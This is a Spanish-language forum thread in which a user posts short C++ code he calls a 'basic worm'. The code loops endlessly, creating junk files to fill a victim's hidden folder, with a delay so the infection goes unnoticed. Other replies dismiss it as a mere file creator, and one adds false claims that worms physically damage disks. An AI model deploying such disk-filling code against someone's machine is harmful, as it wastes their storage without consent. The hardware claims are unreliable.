Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: zikotik en 10 Enero 2014, 17:45 pm



Título: Worm básico en C++
Publicado por: zikotik en 10 Enero 2014, 17:45 pm
Hola gente, les dejo un pequeño código de un worm básico que hice hace un rato en C++.
Modifíquenlo a su gusto, y cualquier duda, pregunten...

Si usan linux, desactiven la librería windows.h y activen la librería unistd.h, en caso contrario, déjenlo como está.

La variable mls, sirve para que después de cada loop, el worm espere x cantidad de milisegundos; 0 para desactivarlo o pongan otro valor.

La variable txt, es para escribir en cada archivo que creará el worm.

La variable blq, tiene el valor del nombre del archivo a crear.

Código
  1. #include <fstream>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <windows.h>
  5. //#include <unistd.h>
  6.  
  7. using namespace std;
  8.  
  9. int main(){
  10. int i = 1;
  11. int dat = 0;
  12. int mls = 125;
  13. char buf[35];
  14. char txt[41] = "err[32030950ab769812b57c164cdab5138e]\n";
  15.  
  16. while(i != 0){
  17. char blq[44] = "err.";
  18. strcat(blq,itoa(dat,buf,10));
  19.  
  20. ifstream arch (blq);
  21.  
  22. if(!arch){
  23. ofstream arch (blq);
  24. arch << txt;
  25. arch.close();
  26. Sleep(mls);
  27. } else {
  28. arch.close();
  29. }
  30.  
  31. dat++;
  32. }
  33.  
  34. }


Título: Re: Worm básico en C++
Publicado por: 0xDani en 11 Enero 2014, 00:29 am
¿Qué se supone que ha de hacer este código?


Título: Re:
Publicado por: ivancea96 en 11 Enero 2014, 12:36 pm
Qué tiene que ver con un worm? :o

Enviado desde mi ST21i mediante Tapatalk


Título: Re: Worm básico en C++
Publicado por: zikotik en 11 Enero 2014, 12:40 pm
Lo que hace este código es buscar un archivo basuro con el nombre "err" con el número de id dado por la variable "dat" (que en realidad sería la extensión del archivo pero en números), en cuyo caso no exista, lo crea. Una vez que crea el archivo, espera 125 milisegundos y comienza nuevamente el loop (en realidad se puede sacar el Sleep(), pero consumiría muchísima ram y la víctima se daría cuenta de que está infectada).

Si se borra algún archivo basura, al ser ejecutado nuevamente el worm (suponiendo que está agregado al registro), busca entre los archivos basura si hay algún faltante, en caso de ser así, lo reconstruye y continua buscando y escribiendo.

La idea principal es que ocupe espacio en alguna carpeta oculta del hdd sin afectar tanto a la ram.

Un ejemplo gráfico de su funcionamiento sería:

err.0 find
err.1 find
err.2 find
err.3 find
err.4 find
err.5 not found
err.5 made
err.6 not found
err.6 made


Tal funcionamiento es así para no perder tanto tiempo en la escritura de archivos. Perdés un poco de tiempo buscando los archivos no creados si es ejecutado nuevamente, pero el tiempo es mucho menos que al escribir cada uno de estos aunque ya existan.


Título: Re: Worm básico en C++
Publicado por: dato000 en 11 Enero 2014, 13:46 pm
eso no es un gusano, solo crea archivos.

Un gusano llena directamente los datos del cluster sin respetar jerarquias, solo llena de mugre el disco dañando los sectores, los desmagnetiza, calienta y jode el circuito.

O si va con memoria lo que hace es reventar el head y resevar memoria como loco sin dejar al sistema operativo como seguir corriendo.

De todas maneras tanto linux como windows (desde win 7) ya saben como lidiar con eso y terminan la depuración cuando ve algún loop de ese estilo, y lo manda a un archivo de paginación (>win 7) o a la swap (linux) y lo limita de tal manera de que si llega a llenarse tal espacio, detiene el programa y deja de ensamblar el archivo, así de simple.

Pues tu intención es buena, y que bueno el entusiasmo, pero ese titulo es puro amarillismo.


Título: Re: Worm básico en C++
Publicado por: ivancea96 en 11 Enero 2014, 19:08 pm
La base de un worm, es multiplicarse y moverse por redes, entre otras.
Eso que tienes ahí, yo lo calificaría como virus.
Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD


Título: Re: Worm básico en C++
Publicado por: zikotik en 13 Enero 2014, 12:47 pm
La base de un worm, es multiplicarse y moverse por redes, entre otras.
Eso que tienes ahí, yo lo calificaría como virus.
Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD

Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...
Gracias por la data, y respecto a lo de la clasificación, tienen razón, no es un gusano, me puse a leer bien en wikipedia las diferencias entre los distintos tipos y malinterpreté.


Título: Re: Worm básico en C++
Publicado por: MCKSys Argentina en 13 Enero 2014, 13:09 pm
Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...

Tambien puedes usar While(True)

Saludos!


Título: Re:
Publicado por: ivancea96 en 13 Enero 2014, 14:28 pm
En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)

Enviado desde mi ST21i mediante Tapatalk


Título: Re: Worm básico en C++
Publicado por: MCKSys Argentina en 14 Enero 2014, 00:40 am
En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)

Citar
Boolean type

C99 added a boolean (true/false) type (_Bool) which is defined in the <stdbool.h> header. Additionally, the standard requires that macros are defined to alias the type as bool as well as providing macros for true and false.

Source: http://en.wikipedia.org/wiki/C_data_types (http://en.wikipedia.org/wiki/C_data_types)

Saludos!

PD: C11 es el standar hoy día, e incluye a C99: http://en.wikipedia.org/wiki/ANSI_C (http://en.wikipedia.org/wiki/ANSI_C)


Título: Re: Worm básico en C++
Publicado por: x64core en 14 Enero 2014, 20:22 pm
Por fin encontramos el codigo fuente de stuxnet!